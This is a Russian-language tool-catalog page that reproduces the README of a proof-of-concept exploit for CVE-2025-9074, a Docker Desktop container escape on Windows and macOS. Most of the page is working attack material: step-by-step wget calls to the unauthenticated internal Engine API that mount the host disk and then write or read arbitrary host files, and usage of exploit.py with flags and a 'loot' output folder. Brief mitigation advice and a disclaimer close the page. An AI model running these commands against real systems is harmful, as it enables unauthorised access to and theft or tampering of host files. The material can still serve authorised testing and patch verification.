Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-9074 — Эксплойт PoC для CVE-2025-9074, демонстрирующий полный выход из контейнера Docker Desktop на Windows и macOS через неаутентифицированный внутренний API Docker Engine. | Kitploit
Инструменты/GitHubGitHub/pucagit/cve-2025-9074
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеБезопасность облачных средОбучение и ОбразованиеПобег из Контейнера
GitHubpucagit/cve-2025-9074

CVE-2025-9074

Эксплойт PoC для CVE-2025-9074, демонстрирующий полный выход из контейнера Docker Desktop на Windows и macOS через неаутентифицированный внутренний API Docker Engine.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-9074 – Полный выход из Docker на Windows и macOS Docker Desktop

📌 Описание

Docker Desktop открывает внутренний API Docker Engine по адресу http://192.168.65.7:2375 для любого работающего контейнера — без аутентификации и без контроля доступа.

Поскольку сам движок может монтировать файловую систему хоста, контейнер может вызвать этот API, чтобы создать новый контейнер, который монтирует хост-диск с помощью bind-mount, затем использовать этот контейнер для чтения и записи произвольных хост-файлов — полный выход из контейнера на хост.

📝 Ссылки

  • CVE-2025-9074 Запись
  • Примечания к релизу Docker Desktop (исправлено в 4.44.3)
  • Исследование Феликса Буле

🎯 Затронутые версии

  • Docker Desktop ≤ 4.44.3 на Windows и macOS

⚙️ Как это работает

  1. Доступ к API. Работающий контейнер подключается к API Docker Engine по адресу http://192.168.65.7:2375 — учетные данные не требуются.
  2. Создание привилегированного контейнера. Он отправляет POST /containers/create с Binds: ["/mnt/host:/host_root"], монтируя хост-диск в новый контейнер. Внутри виртуальной машины Docker файловая система хоста доступна по адресу /mnt/host (например, диск Windows C: находится в /mnt/host/c).
  3. Запуск контейнера. POST /containers/{id}/start активирует bind-mount, предоставляя полный доступ к хосту.
  4. Запись файлов на хост. Новый контейнер выполняет команду, которая записывает данные в bind-mount (например, echo pwned > /host_root/c/test/pwn.txt).
  5. Чтение файлов с хоста. GET /containers/{id}/archive?path=... передает любой путь на хосте обратно в виде TAR-архива — не требуется оболочка.

🧪 Настройка лаборатории

Требования

  • Docker Desktop до 4.44.3 (Windows или macOS)
  • Контейнер атакующего, который может получить доступ к внутреннему API (любой контейнер может)

Подготовка тестовых данных (Windows)

Создайте C:\test\readme.txt с образцовым содержимым, чтобы у демонстрации чтения была цель.

poc 1

Запуск контейнера атакующего

root@kitploit:~
docker run -it --rm alpine /bin/sh

Все ручные шаги ниже выполняются внутри этого контейнера (alpine поставляется с wget). Установите переменную оболочки для API, чтобы сократить команды:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Воспроизведение — ЗАПИСЬ на хост

Цель: создать C:\test\pwn.txt на хосте изнутри контейнера.

root@kitploit:~
# 1. Создайте контейнер, который монтирует диск C: хоста и записывает в него файл.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Извлеките ID нового контейнера из ответа JSON.
cid=$(cut -d'"' -f4 create.json)

# 3. Запустите его — команда выполняется и записывает файл на хост.
wget -q -O - --post-data='' $API/containers/$cid/start

Что произошло:

  • Binds: /mnt/host:/host_root монтирует диски хоста в новый контейнер.
  • Команда контейнера записывает pwned в C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • Никакие учетные данные не требовались.

Ожидаемый результат: C:\test\pwn.txt теперь существует на хосте.

poc 2


📖 Воспроизведение — ЧТЕНИЕ с хоста

Цель: прочитать C:\test\readme.txt с хоста изнутри контейнера.

root@kitploit:~
# 1. Создайте и запустите контейнер с смонтированным диском хоста (оставьте ненадолго живым).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Запросите у движка TAR-архив каталога хоста, затем извлеките его.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

Что произошло:

  • Тот же самый bind-mount делает диск хоста доступным для нового контейнера в режиме read-only-friendly.
  • GET /containers/{id}/archive?path=... передает любой путь на хосте обратно в виде TAR — не требуется оболочка.
  • Извлечение архива раскрывает содержимое хост-файла.

Ожидаемый результат: выводится содержимое C:\test\readme.txt.

poc 3


🤖 Автоматическая эксплуатация — exploit.py

exploit.py автоматизирует оба сценария. Он использует только стандартную библиотеку Python, автоматически определяет монтирование хоста (Windows /mnt/host/c против macOS/Linux /) и переводит родные пути хоста для вас.

Внутренний API (192.168.65.7:2375) доступен только изнутри контейнера, поэтому запускайте скрипт в контейнере с Python:

root@kitploit:~
# Из каталога репозитория на хосте:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

В Windows PowerShell используйте -v "${PWD}:/x"; в cmd.exe используйте -v "%cd%:/x".

Проверка доступа

root@kitploit:~
python /x/exploit.py info

Пингует API, определяет ОС хоста и выводит список записей монтирования корневого уровня хоста.

Запись файла на хост

root@kitploit:~
# Хост Windows
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# Хост macOS/Linux (или передайте содержимое через stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Чтение файла с хоста

root@kitploit:~
# Вывод на stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Или извлеките (файл или весь каталог) в ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Полезные флаги


🛡️ Смягчение

  • Обновите Docker Desktop до ≥ 4.44.3 на Windows и macOS.
  • Не запускайте недоверенные образы; незапатченный API доступен из любого контейнера.

⚠️ Отказ от ответственности

Этот PoC предназначен только для авторизованного тестирования, обучения и исследований. Автор не несет ответственности за неправильное использование. Запускайте его только на системах, которые вам принадлежат или на тестирование которых у вас есть разрешение.


🙏 Благодарность

Этот PoC и README созданы на основе исследования Феликса Буле. Вся заслуга за первоначальное открытие и анализ принадлежит оригинальному автору.


📜 Лицензия

Этот проект лицензирован под лицензией MIT.

Скачать инструмент
FlagНазначение
--api URLПереопределить конечную точку API (по умолчанию http://192.168.65.7:2375)
--image NAMEОбраз для контейнера эксплойта (по умолчанию alpine, автоматически загружается, если отсутствует)
--vm-mount PATHПропустить автоопределение и принудительно указать монтирование хоста внутри ВМ (например, /mnt/host или /)